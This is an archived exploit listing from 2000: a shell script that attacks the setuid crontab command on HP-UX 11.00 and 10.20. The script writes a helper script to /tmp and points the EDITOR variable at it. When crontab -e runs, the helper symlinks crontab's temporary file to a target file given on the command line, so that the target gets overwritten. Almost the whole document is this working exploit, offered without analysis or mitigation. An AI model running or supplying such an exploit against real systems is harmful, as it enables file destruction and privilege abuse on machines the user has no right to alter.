HP-UX 11.00-10.20 crontab Overwrite Files Exploit

2000-11-19 00:00:00

#!/bin/sh
#
# HP-UX 11.00/10.20 crontab
#
# Kyong-won,Cho
#
# [email protected]
#
# Usage : ./crontab.sh <distfile>
#

if [ -z "$1" ]
then

echo "Usage : $0 <distfile>"
exit

fi

cat << _EOF_ > /tmp/crontab_exp
#!/bin/sh

ln -sf $1 \$1

_EOF_

chmod 755 /tmp/crontab_exp

EDITOR=/tmp/crontab_exp
export EDITOR

crontab -e 2> /tmp/crontab$$

grep -v "error on previous line" /tmp/crontab$$

rm -f /tmp/crontab_exp /tmp/crontab$$


#

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